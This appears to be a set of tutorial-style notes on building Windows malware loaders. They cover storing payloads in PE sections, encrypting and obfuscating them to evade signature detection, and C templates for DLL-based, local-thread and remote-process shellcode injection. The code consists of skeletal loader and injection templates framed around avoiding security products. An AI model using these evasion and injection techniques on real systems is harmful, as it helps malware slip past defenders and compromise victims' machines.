All notes

Malware payloads

1. Placement

Malware payload can be stored in one of the following PE sections:

  • .data
  • .rdata
  • .text
  • .rsrc

NOTE: The compiler might decide to store global variables and constants in .text section anyway. There is no 100% sure method to determine where the data will be finally stored.

1.1. .data section

To store payload in .data section initialize global variable. This section is readable and writable.

unsigned char RawPayload[] = { 0xde, 0xad, 0xbe, 0xef }
 
int main() { /* ... */ }

1.2. .rdata section

To store payload in .rdata section initialize global constant. This section in read-only.

const unsigned char RawPayload[] = { 0xde, 0xad, 0xbe, 0xef }
 
int main() { /* ... */ }

1.3. .text section

To store data in .text section, one must explicitly instruct the compiler to do this. This section is executable. It's good for small payloads.

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char RawPayload[] = {
    0xde, 0xad, 0xbe, 0xef
}
 
int main() { /* ... */ }

1.4. .rsrc section

Visual Studio has an option to embed binary resources (icons, etc.) into PE .rsrc section. This section is read-only. The payload cannot be accessed directly at runtime. Instead, several WinAPI functions (especially from libloaderapi.h) must be used to access it.

2. Encryption

Encryption of the payload can help evade signature-based detection. It is always necessary against modern security solutions. Raw payloads are very well detected. It may not be effective against runtime and heuristic analysis.

NOTE: The more encrypted data is embedded in the malicious file, the higher its entropy is. It might be suspicious for security solutions. Entropy should be as normal as possible.

  • XOR - the easiest and the stealthiest method. It doesn't require to use any external modules. The same function can be used to encryption and decryption. This encryption is very easy to spot and reversed by an analyst. Some security solutions are able to even brute-force weak encryption keys.
  • RC4 - efficient bidirectional encryption algorithm. Its implementation is pretty short and can be easily embedded in the source code of malware. Even NTAPI has some efficient and small implementations of the algorithm (SystemFunction032 and SystemFunction033 exported from advapi32.dll).
  • AES - advanced, secure and pretty complicated encryption algorithm. It operates on blocks of data which are 16-bytes long. It usually requires usage of some external library which can be already signatured by security vendors or produces a lot of WinAPI calls.

3. Obfuscation

When it comes to payload obfuscation, the sky is the limit. You can rotate bytes, take every second byte, reverse string, split it across multiple variables and so on. There are, however, some real-life examples of very interesting obfuscation techniques that can help not only evade security solution but even slow down the process of manual analysis. Additionally, obfuscation usually doesn't increase an entropy of the file which might be important. Obfuscation techniques usually try to hide the payload in a form of a bunch of innocent data.

  • IPFuscation - 1 byte = 1 octet in a IP address. Or every byte in a seperate address.
  • MACFuscation - same with MAC addresses.
  • UUIDFuscation - same with UUID.
  • GeoFuscation - same with geo coordinates.

NOTE: Both, encryption and obfuscation, are intended to evade signature-based detection.

4. Execution

4.1. External DLL

A payload can be stored and fired in an external DLL file. There are four different DLL events that can be observed. Look at the following snippet:

#include <Windows.h>
#include <stdio.h>
 
VOID RunPayload() { /* ... malicious code ... */}
 
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason){
        // Four different events to be observed
        case DLL_PROCESS_ATTACH: {
            RunPayload();
            break;
        };
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
 
    return TRUE;
}

LoadLibrary WinAPI function is used to load a DLL into the current process memory. During that process the DLL_PROCESS_ATTACH event is executed. There might be a hidden piece of malicious code.

4.2. Local thread

NOTE: This technique is not stealthy in a confrontation with EDRs and more advanced security solutions!

Steps to perform a local thread shellcode execution:

// 1. Allocate memory
PVOID shellcode_mem = VirtualAlloc(
  NULL,
  shellcode_size,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE // Using PAGE_EXECUTE_READWRITE is an indicator of malware
);
 
// 2. Deobfuscate shellcode to the allocated memory
 
// 3. Modify memory protection to execute it
VirtualProtect(
  shellcode_mem,
  shellcode_size,
  PAGE_EXECUTE_READWRITE,
  NULL
);
 
// 4. Create a new thread
HANDLE thread = CreateThread(NULL, NULL, shellcode_mem, NULL, NULL, NULL);
 
// 5. Wait for the thread
WaitForSingleObject(thread, INFINITE);

4.3. Process DLL injection

 
// 1. Get the target process handle
HANDLE proc = FakeGetProcessFunc();
 
// 2. Get the address of the function that is used to load DLL
PVOID pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
 
// 3. Allocate memory for a DLL path string in the remote process 
PVOID dll_path_addr = VirtualAllocEx(
  proc,
  NULL,
  dll_path_size,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE
);
 
// 4. Write DLL path string to the allocated memory in the remote process
WriteProcessMemory(proc, dll_path_addr, dll_path, dll_path_size, &bytes);
 
/* 5. Create a new thread in the remote process.
      The new thread is actually the LoadLibraryW function executed with the DLL path param. Malicious code must be included in the DLL on-load action.
*/
HANDLE hThread = CreateRemoteThread(proc, NULL, NULL, pLoadLibraryW, dll_path_addr, NULL, NULL);

4.4. Process shellcode injection

// 1. Get the target process handle
HANDLE proc = FakeGetProcessFunc();
 
// 2. Allocate memory for a shellcode in the remote process 
LPVOID shellcode_addr = VirtualAllocEx(
  proc,
  NULL,
  shellcode_size,
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE
);
 
// 3. Write the shellcode to the allocated memory in the remote process
WriteProcessMemory(proc, shellcode_addr, shellcode, shellcode_size, &bytes);
 
// 4. Zero local shellcode memory
memset(shellcode, 0x00, shellcode_size);
 
// 5. Mark shellcode memory as executable
VirtualProtectEx(proc, shellcode_addr, shellcode_size, PAGE_EXECUTE_READWRITE, &old);
 
// 6. Create a new thread in the remote process and execute the shellcode
CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL);